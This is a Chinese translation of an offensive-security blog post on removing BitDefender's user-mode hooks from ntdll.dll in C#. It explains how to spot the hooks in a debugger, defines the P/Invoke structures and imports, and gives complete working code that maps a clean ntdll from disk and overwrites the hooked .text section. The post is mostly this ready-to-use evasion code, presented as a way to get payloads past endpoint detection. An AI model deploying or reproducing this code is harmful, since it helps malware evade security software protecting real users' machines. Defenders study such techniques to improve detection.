译文声明
原文来自https://makosecblog.com/malware-dev/dll-unhooking-csharp/
环境
1.安装了BitDefender的调试器
2.C++源代码:https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
引言
这篇文章最初是不久前发布的。在原帖中,我使用了 Sektor7 提供的 RTO Windows Evasion 课程中的模板代码。由于我未能正确地将代码归功于他们,因此我删除了该帖子,直到我有时间正确重做它。从那时起,我致力于尝试实现手动映射技术来解开 C# 中的 DLL,并且能够获得一个工作版本。本博客文章将使用我从provied上ired.team发现了C ++模板代码创建的C#版本在这里。请注意,我并不是声称拥有这项技术,这篇文章中使用的代码是上面引用的 C++ 代码的 C# 端口。也可以使用 DInvoke 等工具执行此技术,该工具可在此处找到。
介绍
端点检测和响应是一个不断发展且不断改进的市场。作为攻击性安全人员,我们必须了解 EDR 供应商采用的检测机制来捕获和阻止我们的有效负载运行。一种旨在防止各种形式的进程注入的预防措施是用户态挂钩。用户态挂钩涉及 EDR 软件将 DLL 注入运行进程,该进程挂钩通常用于恶意任务的 Windows API 调用。MITRE ATT&CK 列出了一些 API 调用,例如 CreateRemoteThread、SuspendThread、SetThreadContext、ResumeThread、QueueUserAPC、NtQueueApcThread、VirtualAllocEx 和 WriteProcessMemory,而且还有更多。这些钩子可能很讨厌,但正如我将展示的那样,它们可以很容易地绕过。
识别挂钩的 DLL
幸运的是,在调试器中可以很容易地发现挂钩的 DLL。以下面的例子为例。如果我们打开一个位于文件扩展名和文件夹位置配置和验证排除项中的可执行文件并查看加载的 DLL,您看不到任何不同寻常的内容。
加载的库
现在看看 ntdll 中 ZwCreateThread 函数的反汇编,我们看到了一个非常简单的结构。本质上,存储在 RCX 中的函数参数被移动到 R10 寄存器中,系统调用号被放入 EAX,然后进行系统调用。这是使用 ntdll 库进行的每个系统调用的基本结构。
NTDLL 系统调用:
然而,如果我们在 C:\ 目录中打开同一个二进制文件,一个不是根据文件扩展名和文件夹位置配置和验证排除项,我们会看到一个非常不同的现象。这一次,当查看加载的库时,会多出来atcuf64.dll库。来自 BitDefender 的 atcuf64.dll 已被注入到进程中。现在查看 ntdll 中的 syscall 结构也显示了一些新内容。第一条指令改为跳转到某个地址。如果您在这条 jmp 指令上放置一个断点并继续执行,您最终将进入 BitDefender 注入的 atcuf64.dll。这表明 BitDefender 至少挂钩了 ntdll.dll。对其他 DLL 重复此过程表明 BitDefender 还在 KernelBase.dll 中挂钩了一些函数调用,我将其留作练习,让读者发现挂钩 / 非挂钩 KernelBase.dll 中的差异。
BitDefender 库
挂钩函数
你可能会问的一个问题是,当常用的 API 调用(如 VirtualAllocEx 和 CreateRemoteThread )都是由 kernel32 导出时,为什么要钩住 ntdll 函数。这是因为 ntdll.dll 是任何用户态进程都可以访问的最接近 Windows 内核的接口。这意味着所有更高级别的函数调用(例如提到的那些)最终都将传递给它们的 ntdll 等价函数以进行处理。例如,对 CreateRemoteThread 的调用最终会被传递到 ntdll.dll 中的 ZwCreateThreadEx。
创建 PInvoke 语句
由于此代码是用 C# 编写的并且需要使用非托管代码,因此必须包含各种结构、枚举和函数定义才能使代码正常工作。例如,从上面链接的 ired[.]team 上提供的 DLL 解钩代码中获取以下 c++ 代码片段。
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
此代码首先尝试使用目标 DLL 的基地址获取指向 IMAGE_DOS_HEADER 结构的指针。然后它尝试使用该指针来获取指向 IMAGE_NT_HEADERS 结构的新指针。此代码依赖于对 IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构的访问。这些结构包含在 .NET 应用程序无权访问的头文件中。因此,必须在 C# 代码中定义结构,这可以通过添加从Pinvoke here 中提取的以下代码来完成。
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DOS_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
public char[] e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public UInt16[] e_res1; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public UInt16[] e_res2; // Reserved words
public Int32 e_lfanew; // File address of new exe header
private string _e_magic
{
get { return new string(e_magic); }
}
public bool isValid
{
get { return _e_magic == "MZ"; }
}
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_NT_HEADERS64
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public char[] Signature;
[FieldOffset(4)]
public IMAGE_FILE_HEADER FileHeader;
[FieldOffset(24)]
public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
private string _Signature
{
get { return new string(Signature); }
}
public bool isValid
{
get { return _Signature == "PE\0\0" && OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC; }
}
}
这些定义的结构只是下面显示的 C/C++ 定义的简单 C# 翻译。
typedef struct _IMAGE_DOS_HEADER
{
WORD e_magic;
WORD e_cblp;
WORD e_cp;
WORD e_crlc;
WORD e_cparhdr;
WORD e_minalloc;
WORD e_maxalloc;
WORD e_ss;
WORD e_sp;
WORD e_csum;
WORD e_ip;
WORD e_cs;
WORD e_lfarlc;
WORD e_ovno;
WORD e_res[4];
WORD e_oemid;
WORD e_oeminfo;
WORD e_res2[10];
LONG e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
typedef struct _IMAGE_NT_HEADERS64 {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;
DLL 解钩代码还使用了各种 Windows API 调用。这些 API 调用都必须从它们各自的 DLL 中导入,类似于上面定义结构的方式。下面显示了用于导入所需函数的 Pinvoke 语句。
[DllImport("psapi.dll", SetLastError=true)]
static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);
[DllImport("kernel32.dll", SetLastError=true)]
static extern IntPtr CreateFileA(string lpFileName, uint dwDesiredAccess,uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateFileMapping(IntPtr hFile,IntPtr lpFileMappingAttributes,FileMapProtection flProtect,uint dwMaximumSizeHigh,uint dwMaximumSizeLow,[MarshalAs(UnmanagedType.LPStr)] string lpName);
[DllImport("kernel32.dll")]
static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject,FileMapAccess dwDesiredAccess,UInt32 dwFileOffsetHigh,UInt32 dwFileOffsetLow,IntPtr dwNumberOfBytesToMap);
[DllImport("kernel32.dll")]
static extern int VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UInt32 count);
[DllImport("kernel32.dll", SetLastError=true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool FreeLibrary(IntPtr hModule);
让我们使用 GetModuleInformation 分解这些导入语句之一。从 msdn 中获取的 GetModuleInformation 的 C/C++ 定义可以在下面找到。
BOOL GetModuleInformation(
HANDLE hProcess,
HMODULE hModule,
LPMODULEINFO lpmodinfo,
DWORD cb
);
此定义只是说明 GetModuleInformation 将采用 HANDLE、HMODULE、LPMODULEINFO 和 DWORD 类型的四个参数。函数定义中声明返回值的类型为 BOOL。除了 BOOL 之外,这些类型都不存在于 C# 中,因此需要进行一些翻译。将 MSDN 中的定义与下面找到的 Pinvoke 定义进行比较。
[DllImport("psapi.dll", SetLastError=true)]
static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);
第一行简单地说明该函数将从哪个 DLL 导入,在本例中为 psapi.dll。下一行首先添加修饰符 static 和 extern。在 C# 中从 DLL 导入函数时需要这些修饰符。在此之后,指定返回类型,在这种情况下,它与 msdn 定义相同,bool。最后,定义函数名和参数。在 C# 定义中,HANDLE 和 HMODULE 类型更改为 IntPtr,DWORD 类型更改为 uint。唯一具有相同类型的参数是 MODULEINFO 类型的 lpmodinfo 参数。类似于 IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构,MODULEINFO 结构必须在源代码中定义。可以使用以下代码添加 MODULEINFO 结构。
[StructLayout(LayoutKind.Sequential)]
public struct MODULEINFO
{
public IntPtr lpBaseOfDll;
public uint SizeOfImage;
public IntPtr EntryPoint;
}
注意:此代码运行需要多种结构。为简洁起见,我没有在这篇文章中包括所有这些。完整代码可以在我的 GitHub 上找到,或者作为练习,读者可以导入所需的结构。
加载新副本
既然导入了必要的结构和函数,就可以开始在 C# 中解开 DLL 的过程了。此方法涉及映射目标 DLL 的新副本并用干净版本覆盖 DLL 挂钩版本的 .text 部分。
让我们开始逐步执行代码。
IntPtr curProc = GetCurrentProcess();
MODULEINFO modInfo;
IntPtr handle = GetModuleHandle("ntdll.dll");
GetModuleInformation(curProc,handle,out modInfo,0x18);
IntPtr dllBase = modInfo.lpBaseOfDll;
string fileName = "C:\\Windows\\System32\\ntdll.dll";
IntPtr file = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING,0,IntPtr.Zero);
IntPtr mapping = CreateFileMapping(file,IntPtr.Zero, FileMapProtection.PageReadonly | FileMapProtection.SectionImage, 0, 0, null);
IntPtr mappedFile = MapViewOfFile(mapping, FileMapAccess.FileMapRead, 0, 0, IntPtr.Zero);
上面的代码负责实际从磁盘映射DLL。代码首先获取指向当前进程的指针以及指向当前加载的 ntdll.dll 的句柄。接下来,代码获取指向 ntdll.dll 的 MODULEINFO 结构的指针,以获取 ntdll 的基地址。此后,ntdll.dll 使用 CreateFileA、CreateFileMapping 和 MapViewOfFile Windows API 从磁盘映射。CreateFileA 将打开指定文件的句柄,而 CreateFileMapping 将使用此句柄为该文件分配一块内存。MapViewOfFile 然后将使用此内存块将文件实际映射到内存中。
IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(dllBase,typeof(IMAGE_DOS_HEADER));
IntPtr ptrToNt = (dllBase + dosHeader.e_lfanew);
IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNt,typeof(IMAGE_NT_HEADERS64));
本节相当简单。该代码首先使用 Marshal 库中的 PtrToStructure 函数从 DLL 基地址获取指向 DOS 头结构的指针。然后通过将来自 DOS 头的 RVA 添加到 DLL 的基部并使用 PtrToStructure 将指针转换为 IMAGE_NT_HEADERS64 类型来获得指向 NT 头结构的指针。
for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++)
{
IntPtr ptrSectionHeader = (ptrToNt + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)));
IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((ptrSectionHeader + (i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)))),typeof(IMAGE_SECTION_HEADER));
string sectionName = new string(sectionHeader.Name);
if (sectionName.Contains("text"))
{
uint oldProtect = 0;
IntPtr lpAddress = IntPtr.Add(dllBase,(int)sectionHeader.VirtualAddress);
IntPtr srcAddress = IntPtr.Add(mappedFile,(int)sectionHeader.VirtualAddress);
int vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,0x40,out oldProtect);
memcpy(lpAddress,srcAddress,sectionHeader.VirtualSize);
vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,oldProtect,out oldProtect);
}
}
下一段代码是大部分操作发生的地方。首先,启动一个 for 循环,循环遍历文件中的所有内存部分。对于每个部分,检索指向该部分标题的指针,并将部分名称与 .text 进行比较。在 elf 和 PE 文件格式中,可执行文件的 .text 部分是存储所有可执行代码的地方。一旦找到 .text 部分,就会调用 VirtualProtect 以使 .text 部分可写。这是通过获取目标 DLL 的基地址并为节头添加 RVA 来完成的。由于内存保护机制(例如 DEP)确保默认情况下内存部分不可读、不可写和可执行,因此此调用是必要的。一旦 DLL 的 .text 部分变为可写,就会调用 memcpy 来复制 . DLL 中的 text 部分从磁盘映射到包含 EDR 挂钩的 DLL 的 .text 部分。完成此操作后,将恢复原始内存保护并返回该函数。
放在一起后,最终代码如下所示,省略了结构和函数定义。
static void Main()
{
IntPtr curProc = GetCurrentProcess();
MODULEINFO modInfo;
IntPtr handle = GetModuleHandle("ntdll.dll");
GetModuleInformation(curProc,handle,out modInfo,0x18);
IntPtr dllBase = modInfo.lpBaseOfDll;
string fileName = "C:\\Windows\\System32\\ntdll.dll";
IntPtr file = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING,0,IntPtr.Zero);
IntPtr mapping = CreateFileMapping(file,IntPtr.Zero, FileMapProtection.PageReadonly | FileMapProtection.SectionImage, 0, 0, null);
IntPtr mappedFile = MapViewOfFile(mapping, FileMapAccess.FileMapRead, 0, 0, IntPtr.Zero);
IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(dllBase,typeof(IMAGE_DOS_HEADER));
IntPtr ptrToNt = (dllBase + dosHeader.e_lfanew);
IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNt,typeof(IMAGE_NT_HEADERS64));
for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++)
{
IntPtr ptrSectionHeader = (ptrToNt + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)));
IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((ptrSectionHeader + (i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)))),typeof(IMAGE_SECTION_HEADER));
string sectionName = new string(sectionHeader.Name);
if (sectionName.Contains("text"))
{
uint oldProtect = 0;
IntPtr lpAddress = IntPtr.Add(dllBase,(int)sectionHeader.VirtualAddress);
IntPtr srcAddress = IntPtr.Add(mappedFile,(int)sectionHeader.VirtualAddress);
int vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,0x40,out oldProtect);
memcpy(lpAddress,srcAddress,sectionHeader.VirtualSize);
vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,oldProtect,out oldProtect);
}
}
CloseHandle(curProc);
CloseHandle(file);
CloseHandle(mapping);
FreeLibrary(handle);
}
编译后,代码将使用磁盘上的干净副本覆盖内存中 ntdll 的 .text 部分,从而从 ntdll 中删除 EDR 挂钩。